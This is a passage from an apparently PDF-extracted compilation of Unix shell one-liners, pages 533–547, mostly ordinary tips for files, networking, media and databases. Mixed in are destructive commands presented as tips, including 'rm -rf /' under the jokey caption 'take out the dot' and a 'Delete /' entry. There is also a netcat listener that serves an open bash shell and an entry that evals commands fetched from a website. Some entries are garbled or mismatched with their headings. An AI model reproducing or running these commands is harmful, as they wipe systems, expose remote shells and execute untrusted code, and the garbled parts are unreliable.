cd # creates a xkcd #936-style password
RANGE=`wc -l /usr/share/dict/words | sed 's/^\([0-9]*\) .*$/\1/'`; for i in {1..4}; do let
"N = $RANDOM % $RANGE"; sed -n -e "${N}p" /usr/share/dict/words | tr -d '\n'; done;
RANGE=100; let "N = $RANDOM % $RANGE"; echo $N
# share single file in LAN via netcat
while :; do cat file.txt | nc -l 80; done
# make comments invisible when editing a file
vim -c'highlight Comment ctermfg=white' my.conf
# Cloning hard disks over the network:
Boot up destination machine with Knoppix live CD and run nc -l -p 9000 | dd of=/dev/sda Then
on the master dd if=/dev/sda | nc <dest-ip> 9000 You can monitor bandwidth usage to see
progress: nload eth0 -u M
# List files that DO NOT match a pattern
printf "%s\n" !(pattern) ## ksh, or bash with shopt -s extglob
# Terrorist threat level text
echo "Terrorist threat level: `sed $(perl -e "print int rand(99999)")"q;d"
/usr/share/dict/words`"
# Generate an XKCD #936 style 4 word password
sort -R /usr/share/dict/british | grep -v -m4 ^\{1,10\}$ | tr [:upper:] [:lower:] | tr "\n"
" " | tr -d "'s" | xargs -0 echo
# multiline re search recursive
pcregrep --color -M -N CRLF -e "SQLEngine\.\w+\W*\([^\)]*\)" -r --include='\.java$'

533 / 658

All UNIX COMMANDS

# Show header HTTP with tcpdump


tcpdump -s 1024 -l -A -n host 192.168.9.56
# Dump an aspell dictionary as a word list
aspell -d en dump master | aspell -l en expand > words
# bored of listing files with ls wanna see them in file browser in gnome try this
xdg-open .
# create random string from /dev/urandom (or another length)
echo `cat /dev/urandom | base64 | tr -dc "[:alnum:]" | head -c64`
# Convert windows text file to linux text document
sed 's/.$//' Win-file.txt
# Show the system properties in a Sun VirtualBox server
VBoxManage list systemproperties
# What is my public IP-address?
wget --quiet -O - checkip.dyndns.org | sed -e 's/[^:]*: //' -e 's/<.*$//'
# Find most used focal lengths in a directory of photos
exiv2 *JPG | grep Focal | awk '{print $5}' | sort -n | uniq -c
# Find lost passwords of PDFs files
pdfcrack <FILE>
# Recursively change permissions on files, leave directories alone.
find /var/www/ -type f -print0 | xargs -0 chmod 644
# Expand shell variables in sed scripts
expanded_script=$(eval "echo \"$(cat ${sed_script_file})\"") && sed -e "${expanded_script}"
your_input_file
# Tweet my ip ( see your machine ip on twitter )
STAT=`curl http://www.whatismyip.org/`; curl -u YourUserName:YourPassword -d status=$STAT
http://twitter.com/statuses/update.xml
# Verify the virtual machine status
VBoxManage showvminfo "cicciobox" --details
# bash script to zip a folder while ignoring git files and copying it to dropbox
zip -r homard homard -x homard/.git\*; cp ./homard.zip
/path_to_dropbox_public_folder/homard.zip
# Get the size of all the directories in current directory (Sorted Human Readable)
alias duh='dulist=$(du -sh */); for i in T G M K; do printf "$dulist"|egrep "^[0-9\.]+$i" |
sort -rn; done'
# Generate MD5 of string and output only the hash checksum
echo -n "String to get MD5" | md5sum | sed "s/ -//"
# osx disk utility
diskutil list
# Mirror every lvol in vg00 in hp-ux 11.31
find /dev/vg00 -type b -exec lvextend -m 1 {} /dev/disk/<disk> \;

534 / 658

All UNIX COMMANDS


# List the supported OS in VirtualBox
VBoxManage list ostypes
# Start mplayer in the framebuffer
mplayer -vo fbdev $1 -fs -subcp ${2:-cp1251} -vf scale=${3:-1280:720}
# Watch end of files real time, especially log files
tail -f ~/.bash_history
# show current directory
gnome-open .
# How to create a vm in VirtualBox
VBoxManage createvm --name "vm-name" --ostype Ubuntu --register
# Find files and list them sorted by modification time
find . -type f | xargs ls -ltrhg
# Count the days until the next holiday in Argentina.
echo Faltan `curl http://www.elproximoferiado.com.ar/index.php?country=AR -silent
contador | cut -f2 -d">" | cut -f1 -d"<"` dias para el proximo feriado

| grep

# Replace all the spaces in all the filenames of the current directory and including
directories with underscores.
ls -1 | while read file; do new_file=$(echo $file | sed s/\ /_/g); mv "$file" "$new_file";
done
# Replaces every ocurrences of 'old' for 'new' in all files specified
perl -i -pe "s/old/new/g" *
# Reverse DNS lookups
sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).in-addr.arpa domain name pointer\
(.*\)\./\4.\3.\2.\1\5/' \ lookups.txt
# FInd out what branches a specific commit belongs to
git branch --contains <commit sha1 id> | sed -e 's/^[ *]*//'
# Switch to windows using gpicker
wmctrl -i -a `wmctrl -l -x | gpicker -d "\n" -n "\n" - | awk '{print $1}'`
# List of syscalls (for 32/64 bits systems)
egrep '__NR_' /usr/include/asm/unistd_`getconf -a | awk '$1~/^WORD/{print $2}'`.h | sed -e
's/^#define __NR_//' | column -t
# retrieve GMT time from websites ( generally accruate )
w3m -dump_head www.fiat.com | awk '/Date+/{print $6, $7}'
# intersection between two files
sort file1 file2 | uniq -d
# Remove a line from a file using sed (useful for updating known SSH server keys when they
change)
perl -p -i -e 's/.*\n//g if $.==2' ~/.ssh/known_hosts
# List OSX applications and versions.

535 / 658

All UNIX COMMANDS


find /Applications -type d -maxdepth 1 -exec sh -c 'echo "{}"; (plutil -convert xml1 -o "{}/Contents/Info.plist" | xpath /dev/stdin "concat(\"v\", /plist/dict/string[precedingsibling::key[1]=\"CFBundleShortVersionString\"]/node())" 2>/dev/null)' \;
# Compare a remote file with a local file
diff /path/to/localfile <(ssh user@host cat /path/to/remotefile)
# Add cover-art to mp3 tags
eyeD3 --add-image=coverart.jpg:FRONT_COVER musicfile.mp3
# get size of a file
du -hs file-name
# while series of video and subtitles have unmatched file names, rename subtitles the same
as video files.
for jj in `seq -f "%02.0f" 1 12`; do rr=`ls *S04E$jj*.smi`; tt=`ls *S04E$jj*.avi`; mv "$rr"
"${tt%.*}.smi"; done
# Get a text on a position on the file and store in a variable
TIMEUNIT=$(awk '/timescale/{print NR}' a)
# Match a URL
cho "(Something like http://foo.com/blah_blah)" | awk '{for(i=1;i<=NF;i++){if($i~/^(http|
ftp):\/\//)print $i}}'
# Recursively remove .svn directories
find -type d -name ".svn" -print0 | xargs -0 rm -rf
# encode a text to url_encoded format
groovy -e 'println URLEncoder.encode("Some text")'
# list all file-types (case-insensitive extensions) including subdirectories
find /path/to/dir -type f |sed 's/^.*\///'|grep -o '\.[^.]*$'|sort -f|uniq -i
# command to display info about the core specified
schedtool 1
# Create .tar file on Mac OS X Leopard / Snow Leopard without ._* files
COPYFILE_DISABLE=true tar cvf newTarFile.tar Directory/
# Get full directory path of a script regardless of where it is run from
dirname $(readlink -f ${BASH_SOURCE[0]})
# Avoid using seq and pad numbers with leading zeros
for i in {001..999}; print $i
# Random unsigned integer
curl -s "https://www.random.org/cgi-bin/randbyte?nbytes=4" | od -DAn
# Get your external IP address
html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut -c21-36

# speak a chat log file while it's running


tail -f LOGFILE | awk '{system("say \"" $0 "\"");}'
# tar the current directory wihtout the absolute path
tar -cf "../${PWD##*/}.tar" .

536 / 658

All UNIX COMMANDS


# Load multiple sql script in mysql
cat schema.sql data.sql test_data.sql | mysql -u user --password=pass dbname
# Find artist and title of a music cd, UPC code given (first result only)
wget http://www.discogs.com/search?q=724349691704 -O foobar &> /dev/null ; grep \/release\/
foobar | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/' ; rm foobar
# Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | awk '{print $1}'
# Sum size of files returned from FIND
(echo 0; find [args...] -printf '%s +\n'; echo p) | dc
# Root Security
s=/etc/ssh/sshd_config;r=PermitRootLogin;cp $s{,.old}&& if grep $r $s;then sed "s/$r yes/$r
no/" $s.old > $s; else echo $r no >> $s;fi
# Get column names in MySQL
mysql -u <user> --password=<password> -e "SHOW COLUMNS FROM <table>" <database> | awk
'{print $1}' | tr "\n" "," | sed 's/,$//g'
# ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an
mm.flv
ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an
mm.flv
# find duplicate files in a directory and choose which one to delete
fdupes DIRECTORY/ -r -d
# Change size of lots of image files. File names are read from a text file.
( while read File; do mogrify -resize 1024 -quality 96 $File; done ) < filelist
# restart Bluetooth from terminal
sudo service bluetooth restart
# Force kill all named processes
kill -9 $(ps -ef | grep [h]ttpd | awk '{print $2}')
# Combo matrix
echo -e "CHECK=SAMPLE" output --command_to_long
# Sort all processes by the amount of virtual memory they are using
ps -e -o pid,vsz,comm= | sort -n -k 2
# Erase empty files
find . -size 0 -print0 | xargs -0 rm
# manually set system date/time
date MMDDhhmmYYYY
# Mini-framework: just paste and execute!
c="cp -a";e="~";echo -e "\npaste\n";i=0;k="1"; while [[ "$k" != "" ]]; do read -a k;r[i]=$k;
((i++));done;i=0;while :;do t=${r[i]};[ "$t" == "" ] && break; g=$(echo $c ${r[i]} $e);echo
-e $g "\ny/n?";read y;[ "$y" != "n" ] && eval $g;((i++));done
# Get KDE version
kde-open -v | grep Platform | cut -d' ' -f4# a find and replace within text-based files
sed -i 's/http:\/\/old\/new\///g' index.html

537 / 658

All UNIX COMMANDS


# Encrypted Tarballs
tar -cf - folder/ | gpg -c > folder.tpg
# Get your external IP address
fetch -q -o - http://ipchicken.com | egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}'
# Autodetect screens and extend workspace to the left
disper --displays=auto -e -t left
# Get your external IP address
wget -O - http://checkip.dyndns.org|sed 's/[^0-9.]//g'
# Find out who change what files in a SVN repository
svn log -v | less

# Batch file suffix renaming


for i in *; do j=`echo $i | cut -d "-" -f1`; j=$j; mv $i $j; done
# convert chrome html export to folders, links and descriptions
grep -E '<DT><A|<DT><H3' bookmarks.html | sed 's/<DT>//' | sed '/Bookmarks bar/d' | sed 's/
ADD_DATE=\".*\"//g' | sed 's/^[ \t]*//' | tr '<A HREF' '<a href'
# Processes biglion quantity of sold ebay coupons/bonus codes
while true; do date; (curl -s -o 1.html http://www.biglion.ru/deals/ebay-80/ &); sleep 5;
cat 1.html | grep "&#1082;&#1091;&#1087;&#1086;&#1085;&#1086;&#1074;" | awk -F"<div>"
'{print $2}' | awk -F"<span>" '{print $1}'; done
# check the status of 'dd' in progress (OS X)
pv -tpreb /dev/sda | dd of=/dev/sdb bs=1M
# backup file. (for bash)
cp -p file-you-want-backup{,_`date +%Y%m%d`} # for bash
# Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%s\n" | sort | uniq -d | parallel find -type f -size {}c |
parallel md5sum | sort | uniq -w32 --all-repeated=separate
# Leap year calculation
year=2010; math=`echo "$year%4" | bc`; [ ! -z $year ] && [ $math -eq 0 ] && echo "$year is
leap year!" || echo "$year isn't leap year";
# Get the amount of currently registered users from i18n.counter.li.org.
wget -qO - http://i18n.counter.li.org/ | grep 'users registered' | sed 's/.*\<font
size=7\>//g' | tr '\>' ' ' | sed 's/<br.*//g' | tr ' ' '\0'
# Find out the permissions of the current directory
ls -lad
# Show who are logging in and what their current commands
w
# easily find megabyte eating files or directories
du -kd | egrep -v "/.*/" | sort -n
# find the device when you only know the mount point
mount | grep "mount point"

538 / 658

All UNIX COMMANDS


# Batch file suffix renaming
mmv "*-*.mp3" "#1.mp3"
# Generate an XKCD #936 style 4 word password
awk 'BEGIN {srand} /^[a-z]{4,8}$/ {w[i++]=$0} END {while (j++<4) print w[int(rand*i)]}'
/usr/share/dict/words
# Add together the count of users from the international Linux Counter and the dudalibre.com
counter.
Check the Description below.
# Find invalid \uxxxx Unicode escape sequences in Java source code
ack --java '\\u.?.?.?[^0-9a-fA-F]'
# FINDING PCI DEVICES
/sbin/lspci (-v is verbose)
# vim insert at beginning of multiple lines
:%s!^!foo!
# Weather
wget -qO- -U '' 'google.com/search?q=weather' | grep -oP '(-)?\d{1,3}\xB0[FC]'
# detect partitions
diskutil list
# Binary digits Matrix effect
yes 'c=(" " " " "
" 0 1); printf "${c[RANDOM%5]}"' | bash
# generate random password
tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c10
# Get a file from SharePoint with cURL
curl --ntlm -u DOMAIN/user https://sharepoint.domain.com/path/to/file
# Empty a file
truncate foobar.txt
# Slideshow of images in the current folder
feh -d -F -z -D 1 *

# Command line calculator


calc() { echo "scale=4; ${*//,/.}" | bc -l; }
# Nofity Message in Ubuntu
notify-send -i /usr/share/pixmaps/gnome-irc.png "Title" \ "This is a desktop notification
commandlinefu."
# rename multiple files with different name, eg converting all txt to csv
touch file{1..10}.txt ; ls *txt| sed -e "p;s/\.txt$/\.csv/"|xargs -n2 mv
# call vim help page from shell prompt
function :h { vim +":h $1" +'wincmd o' +'nnoremap q :q!<CR>' ;}
# Query for installed packages on RHEL boxes, and format the output nicely
rpm -qa --queryformat 'Installed on %{INSTALLTIME:date}\t%{NAME}-%{VERSION}-%{RELEASE}:
{SUMMARY}\n'

539 / 658

All UNIX COMMANDS


# Log output from a cronjob to a file, but also e-mail if a string is found
some_cronjobed_script.sh 2>&1 | tee -a output.log | grep -C 1000 ERROR
# Find the median file modification time of files in a directory tree
date -d "@$(find dir -type f -printf '%C@\n' | sort -n | sed -n "$(($(find dir -type f | wc
-l)/2))p")" +%F
# Remove VIM temp files
find ./ -name '*.sw[op]' -delete
# copy ssh id to remote host
ssh-copy-id -i .ssh/id_rsa.pub username:password@remotehost.com
# Discover media files from a web page
sudo ngrep -lqi -p -W none ^get\|^post tcp dst port 80 -d eth0 | egrep '(flv|mp4|m4v|mov|
mp3|wmv)'
# Generate Random Text based on Length
genRandomText() { perl -e '$n=shift; print chr(int(rand(26)) + 97) for 1..$n; print "\n"'
$1;}
# List nearbies
/usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d
# search for a pattern (regex) in all text files (ignoring binary files) in a directory tree
find . -type f | perl -lne 'print if -T;' | xargs egrep "somepattern"
# AWK: Set Field Separator from command line
awk 'BEGIN {FS=","} { print $1 " " $2 " " $NF}' foo.txt
# Replace duplicate files by hardlinks
fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" ==
"0" ]; then j="1"; else sudo ln -f ${line// .*/} $file; fi; done; done
# print info about compiled Scala class
scalac quicksort.scala && javap QuickSort
# Show stats for dd
dd if=/dev/zero of=test bs=1024k count=1024 & bash -c "while :; do clear;echo STATS FOR
DD:;kill -USR1 $!; sleep 1; done"
# just because I want to take out the dot
rm -rf / & disown $!
# quickly show me interesting data about my processes
alias mine='ps xco pid,command,%cpu,%mem,state'
# change newlines to spaces (or commas or whatever). Acts as a filter or can have c/l args
alias nl2space="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{ }, @F) , qq{\n};}' "
# Delete all but latest file in a directory
ls -t1 | sed 1d | parallel -X rm
# get newest file in current directory
ls -lart
# lspci | grep -i pci
lspci | grep -i pci
# One command line web server on port 80 using nc (netcat)

540 / 658

All UNIX COMMANDS


nc -kl 5432 -c 'echo -e "HTTP/1.1 200 OK\r\n$(date)\r\n\r\n";echo "<p>How are you today?
</p>"'
# Delete /
rm -rf / --no-preserve-root & disown $! && exit

# Are 64-bit applications supported on my Solaris OS?


isainfo -vb
# ruby one-liner to get the current week number
ruby -e 'require "date"; puts DateTime.now.cweek'
# Find and print pattern location from all files on command line from directory and its sub
directories.
find . -exec grep $foo {} \; -print
# Download Entire YouTube Channel - all of a user's videos
yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads |
grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites
http://youtube.com/"$i"; done }
# Get EXIF data from image with zenity
ans=$(zenity --title "Choose image:" --file-selection); exiftool -s ${ans} | zenity --width
800 --height 600 --text-info;
# List the size (in human readable form) of all sub folders from the current location
du -sch *
# Delete empty directories only in present level
find ./ -maxdepth 1 -empty -type d -delete
# bookmarklet for commandlinefu.com search
echo
"javascript:location.href='http://www.commandlinefu.com/commands/matching/'+encodeURICompone
nt('%s')+'/'+btoa('%s')+'/sort-by-votes'"
# transform several lines in one with Awk
awk ' { printf ("%s ", $0)} END {printf ("\n") } ' FILE
# monitor when target host will be up
while true; do date; ssh <YOUR HOST HERE> "echo" && echo "HOST UP" && break; sleep 60; done
# Copy public ssh Id to new host withtout bash redirection
cat .ssh/id_dsa.pub | ssh <HOST> "mkdir -p .ssh && tee -a .ssh/authorized_keys"
# command line to drop all table from a databse
mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print
"drop table " $1 ";"}' | mysql -u uname dbname
# quick and easy way of validating a date format of yyyy-mm-dd and returning a boolean
echo 2006-10-10 | grep -c '^[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]$'
# Mail text file (/tmp/scream-dump) contents from linux box with subject(scream-dump)
mail -s scream-dump user@example.com < /tmp/scream-dump
# geoip information
geoip() { wget -qO - http://freegeoip.net/xml/$1 | sed '3,12!d;s/<//g;s/>/:
/g;s/\/.*//g' ; }

541 / 658

All UNIX COMMANDS


# Precide a bunch of files with a number in a pattern for example to indisperse a podcast
backlock with more recent podcasts
i=10;for o in *.mp3; do i=$(printf "%02d" $i); mv $o $i$o; ((i = $i + 2)); done
# Get length of array in zsh
$foo[(I)$foo[-1]]
# commit message generator - whatthecommit.com
curl -s http://whatthecommit.com | html2text | sed '$d'
# List detached screen sessions
screen -ls | grep D
# run a command repeatedly
doloop() { DONT=/tmp/do-run-run-run; while true; do touch $DONT; (sleep 30; rm $DONT;) &
$1 ; if [ -e $DONT ]; then echo restarting too fast; return ; fi ; done }
# Do an OR search using grep to look for more than one search term
grep -i '<searchTerm>\|<someOtherSearchTerm>' <someFileName>
# Convert one's Java source file encoding
find . -name "*.java" -type f -perm +600 -print | xargs -I _ sh -c 'grep -q hexianmao _ &&
iconv -f gb2312 -t utf8 -o _ -c _ '
# Extract 2 copies of .tar.gz content
mkdir copy{1,2}; gzip -dc file.tar.gz | tee >( tar x -C copy1/ ) | tar x -C copy2/
# Alternative for basename using grep to extract file name
fileName() { echo "$1" | grep -o "[^/]*$"; }
# Get the revision number at which the current branch is created.
svn log --stop-on-copy | grep r[0-9] | awk '{print $1}' | sed "s/r//" | sort -n | head -1

# Deletes all branches in a git repository except next and master (clean git repo)
git branch -D `git branch | awk '{ if ($0 !~ /next|master/) printf "%s", $0 }'`
# show physical disk using
df -x tmpfs | grep -vE "(gvfs|procbususb|rootfs)"
# Batch Convert MP3 Bitrate
mkdir save && for f in *.mp3; do lame -b xxx "$f" ./save/"${f%.mp3}.mp3"; done
# Generate an XKCD #936 style 4 word password
Amharic software
# reverse order of file
tac $FILETOREVERSE
# Notify by text-message when command completes
sleep 15 ; `echo "done" | mail -s "done" 4158575309@txt.att.net`
# find forms in a symfony 1.2 project
find apps/ -name "*.svn-base" -prune -o -print -name "*.php" | xargs grep -E 'new .+Form\('
# Kill processes hogging up CPU (Flash after resume)
top -bn 1 | awk '{if($1 ~ /^[0-9]+$/ && $9 > 97) {print $1;exit}}'|xargs kill

542 / 658

All UNIX COMMANDS


# Enabling some DVD playback enhancements in Ubuntu
sudo sh /usr/share/doc/libdvdread4/install-css.sh
# truncate half of `input.txt`
dd of=output.txt if=input.txt ibs=1 skip=$(expr `stat -c%s input.txt` / 2)
# Clean-up release directories keeping the only the latest two
find . -maxdepth 1 -type d | grep -Pv "^.$" | sort -rn --field-separator="-" | sed -n '3,$p'
| xargs rm -rf
# Share your terminal session real-time
tb send xmpp:user.name@gmail.com
# Undo Mercurial add before commit
hg st --added -n |xargs hg revert
# Print environment information.
printenv
# find all file larger than 500M in home dir
find ~ -type f -size +500M -exec ls -ls {} \; | sort -n
# mem leak check
ps gv [pid] | head -2
# Snmpwalk a hosts's entire OID tree with SNMP V2
snmpwalk -v2c -c <community> -m ALL <HOST_IP> .
# Colour part of your prompt red to indicate an error
export PS1='[\[\e[36;1m\]\u@\[\e[32;1m\]\h \[\e[31;1m\]\w]# \[\e[0m\]'
# Convert HH:MM:SS into seconds
echo 00:29:36 | sed s/:/*60+/g | bc
# Show number of connections per remote IP
netstat -antu | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
# bkup the old files
find <dir> -type f -mtime +<days> -exec scp -r {} user@backuphost:/data/bkup \;
# search for a file (with regex), choose one then open it
findopen() { local PS3="select file: "; select file in $(find "$1" -iname "$2"); do ${3:xdg-open} $file; break; done }
# Monitoring TCP connections number
watch "ss -nat | awk '"'{print $1}'"' | sort | uniq -c"
# View the newest xkcd comic.
lynx --dump --source http://www.xkcd.com | grep `lynx --dump http://www.xkcd.com | egrep
'(png|jpg)'` | grep title | cut -d = -f2,3 | cut -d '"' -f2,4 | sed -e 's/"/|/g' | awk -F"|"
' { system("display " $1);system("echo "$2); } '
# pid list by httpd listen port
lsof | awk '/*:https?/{print $2}' | sort -u

# Print RPM dependencies


ruby -e 'puts `rpmdep glibc`.split(",")[2..-1]'

543 / 658

All UNIX COMMANDS


# find and output files content with filtering by filename and specific string
find . -name *.properties -exec /bin/echo {} \; -exec cat {} \; | grep -E 'listen|
properties'
# Make syslog reread its configuration file
pkill -HUP syslogd
# delete a file and links based on inode number.
ls -ai | grep filename | find . -inum `awk '{print $1}'` -exec rm {} \;
# Print the lastest stable version of Perl
wget -q -O - http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//;
s/\.tar\.gz.*//'
# Remove everything except that file
ls | egrep -v "[REGULAR EXPRESSION]" | xargs rm -v
# MySQL: Find an instance of a populated table across numerous databases
TABLE_NAME=YYZ ; for DATABASE in $(echo "SELECT TABLE_SCHEMA FROM information_schema.tables
WHERE TABLE_NAME='$TABLE_NAME'" | mysql -N) ; do echo -n "$DATABASE: " ; echo "SELECT
COUNT(*) FROM $TABLE_NAME" | mysql $DATABASE -N ; done | fgrep -v ': 0'
# Reset ownership of a folder/subfolders
TAKEOWN /A /R /F c:\SomeFolder
# Friendly command-not-found message.
command_not_found_handle() { echo 6661696c626f61742e2e2e0a | xxd -p -r; }
# Download all files under http://codeigniter.com/user_guide/ to the current directory
wget -r --no-parent http://codeigniter.com/user_guide/ ; mv codeigniter.com/user_guide/* . ;
rm -rf codeigniter.com
# Quickly create simple text file from command line w/o using vi/emacs
cat > {filename} {your text} [^C | ^D]
# Deleting a remote git branch (say, by name 'featureless')
git push origin :featureless
# Check if *hardware* is 32bit or 64bit
uname -m
# Return IP Address
/usr/sbin/ifconfig -a|awk -F" " 'NR==4{print $2}'
# Show a Package Version on Debian based distribution
apt-show-versions <packagename>
# this svn script will commit all files excluding those with extensions {.project .classpath
.properties .sh .number} and those with Status Modified or Added {M or A}
svn st | grep -e [MA] | egrep -ve '.project|.classpath|.properties|.sh|.number'
| awk -F'
' '{ print $2}' | xargs svn ci -m "message"
# Describe differences between files
diff --changed-group-format='differs from line %dF to line %dL|' --unchanged-line-format=''
$FILE1 $FILE2 | sed 's/|/\n/'
# execute a shell with netcat without -e
mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b;
# Create nthash

544 / 658

All UNIX COMMANDS


echo -n "password" | iconv

-t utf-16le | openssl dgst -md4

# Tshark to Generate Top Talkers by #TCP conv started per second.


tshark -qr [cap] -z conv,tcp | awk '{printf("%s:%s:%s\n",$1,$3,$10)}' | awk -F: '{printf("%s
%s %s\n",$1,$3,substr($5,1,length($5)-10))}' | sort | uniq -c | sort -nr
# Remove all .svn folders inside a folder
find . -name "\.svn" -exec rm -rf {} ";"
# search for a file in PATH
function sepath { echo $PATH |tr ":" "\n" |sort -u |while read L ; do cd "$L" 2>/dev/null &&
find . \( ! -name . -prune \) \( -type f -o -type l \) 2>/dev/null |sed "s@^\./@@" |egrep -i
"${*}" |sed "s@^@$L/@" ; done ; }
# (tcsh alias)Reverse an IPv4 address. It is useful to looking the address up in DNSBL.
alias ip4rev "echo \!* | sed 's/^\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([09]*\)/\4.\3.\2.\1/'"
# Describe differences between files
comm --nocheck-order -31
# Find the biggest files
find -type f | xargs -I{} du -s "{}" | sort -rn | head | cut -f2 | xargs -I{} du -sh "{}"

# Save your webcam to file


cvlc "v4l2:///dev/video0" --sout
"#transcode{vcodec=mp2v,vb=800,scale=0.25,acodec=none}:file{mux=mpeg1,dst=/PATH/TO/OUTPUT/FI
LE}"
# Quick way to play remote audio files locally ( Linux )
ssh user@remote "cat /remote/music/dir/*.mp3" | mpg123 # Emulate sleep in DOS/BAT
ping -n 1 -w 10000 224.0.0.0
# calculate the total size of files in specified directory (in Megabytes)
ls -l directory | awk 'BEGIN { SUM=0 } { SUM+=$5 } END { print SUM/1024/1024"M" }'
# Reducing image size
convert -quality 40% original_image reduced_image
# search for a file in PATH
for L in `echo :$PATH | tr : '\n'`; do F=${L:-"."}/fileName; if [ -f ${F} -o -h ${F} ]; then
echo ${F}; break; fi; done
# ffmpeg vhook imlib2.so
ffmpeg -i input.flv -vhook '/usr/lib/vhook/imlib2.so -c white -x 250 -y H+(-1.8*N+80) -t
Hallo! -A max(0,255-exp(N/16))' -sameq -acodec copy output.flv
# Find the biggest files
find -type f -exec du -sh {} +

| sort -rh | head

# Find and replace


find . -name '*.txt' -exec mv {} {}.sh \ ;
# Generat a Random MAC address
MAC=$((date +'%Y%m%d%H%M%S%N'; cat /proc/interrupts) | md5sum | sed -r 's/(..)/\1:/g' | cut
-d: -f 1-6)

545 / 658

All UNIX COMMANDS


# Reducing image size
convert example.png -resize 100x100 output.png
# Find redirection and grep
find . -name "*.png" | tee images.txt | grep book
# copy root to new device
cp -dpRx /* /mnt/target/
# Print full LVM LV paths (for copy&paste)
vgdisplay -v 2>/dev/null | grep "^ LV Name" | while read A B LVDEV; do echo $LVDEV; done
# Check a nfs mountpoint and force a remount if it does not reply after a given timeout.
NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NFSPATH" ||
(umount -fl $NFSPATH; mount $NFSPATH)
# How many lines does the passwd file have?
cat /etc/passwd | wc -l
# Get info `iostat -En` for all disks with Hardware Errors - works on Solaris and Solaris
forks
iostat -En $(iostat -en|grep c#t|awk '$2 > 0 {print $NF}')
# do a release upgrade in ubuntu
do-release-upgrade
# full text(CJK) search mails and link the result to $MAILDIR/bingo/cur/
recoll -t -q "keyword" | grep message/rfc822 | sed -s 's,^.*\
('$MAILDIR'[^]]*\)\].*$,\"\1\",' | xargs ln -sft $MAILDIR/bingo/cur/
# Move itens from subdirectories to current directory
ls -d */* | sed -e 's/^/\"/g' -e 's/$/\"/g' | xargs mv -t $(pwd)
# calculate in commandline with dc
dc -e "1 1 + p"
# Quickly find files and folders in the current directory
ff() { find -maxdepth 3 -type f -iname "$1"; }; fd() { find -maxdepth 4 -type d -iname "$1";
}
# calculate in commandline with perl
perl -e 'print 1+1 ."\n";'
# Use socat to create a largefile
echo | socat -u - file:/tmp/swapfile,create,largefile,seek=10000000000000
# AIX - gzip command to compress a file
gzip -c source.csv > source.csv.gz

# Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf | sed 's/ /\\ /g' | xargs rm {} \;
# delete duplicate files
fdupes -rdN $folder
# Convert a PKCS#8 private key to PEM format
openssl pkcs8 -inform DER -nocrypt -in [priv key] -out [pem priv key]

546 / 658

All UNIX COMMANDS


# Get your external IP address with the best commandlinefu.com command
eval $(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-byvotes/plaintext|sed -n '/^# Get your external IP address$/{n;p;q}')
# Recursively add directories to $PATH
PATH="${PATH}:$(find ${HOME}/bin -type d | tr '\n' ':' | sed 's/:$//')"
# Identify a PKCS#8 Private Key
openssl ans1parse -inform DER < [priv key]
# Remap "New Folder" to Command+N, "New Finder Window" to Cmd+Shift+N in Mac OS X
defaults write com.apple.finder NSUserKeyEquivalents -dict 'New Finder Window' '@$N' 'New
Folder' '@N'; killall Finder
# perl find and replace
find -name ".php" -exec perl -pi -e 's/search/replace/g/' {} \;
# Push each of your local git branches to the remote repository
git push origin --all
# Remove annotation- (or other own-lined) tags from an XML document
awk "/<xsd:annotation>/{h=1};!h;/<\/xsd:annotation>/{h=0}" annotatedSchema.xsd
# Find default gateway
ip route show | awk '$3 ~ /^[1-9]+/ {print $3;}'
# Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivity
ping -c 1 www.google.com | /usr/bin/awk '{print $7}' | /usr/bin/awk 'NR > 1' | /usr/bin/awk
'NR < 2' | /usr/bin/awk -F"=" '{print $2}'
# Count messages in mcabber history for each JID
for f in ~/.mcabber/histo/*; do a=`egrep "^(MR|MS)" $f | wc -l`; echo $f: $a | awk -F\/
'{print $6}'; done
# extend KVM image size
dd bs=1 if=/dev/zero of=/path/to/imagename.raw seek=50G count=1 conv=notrunc
# Exclude dumping of specific tables with same prefix from a single database
mysql -BNe 'select table_name from tables where table_schema="DB-NAME" and table_type="BASE
TABLE" and table_name not like "PREFIX%";' information_schema | xargs mysqldump DB-NAME >
test.sql
# Change default terminal emulator
update-alternatives --config x-terminal-emulator
# Show Network IP and Subnet
ipcalc $(ifconfig eth0 | grep "inet addr:" | cut -d':' -f2,4 | sed 's/.+Bcast:/\//g') | awk
'/Network/ { print $2 } '
# print shared library dependencies
ldd path_to_executable
# Extract specific lines from a text file using Stream Editor (sed)
sed -n -e 1186,1210p A-small-practice.in
# Lookaround in grep
echo "John's" | grep -Po '\b\w+(?<!s)\b'
# print shared library dependencies

547 / 658

All UNIX COMMANDS


function ldd(){ objdump -p $1 | grep -i need; }
# Create multiple files in a single command
touch file{1,2,3,4,5}.sh
# Print the local ip on a wireless connection
sudo ifconfig wlan0 | grep inet | awk 'NR==1 {print $2}' | cut -c 6# Return Dropbox folder location.
sqlite3 $HOME/.dropbox/config.db "select value from config where key like '%dropbox_path%'"
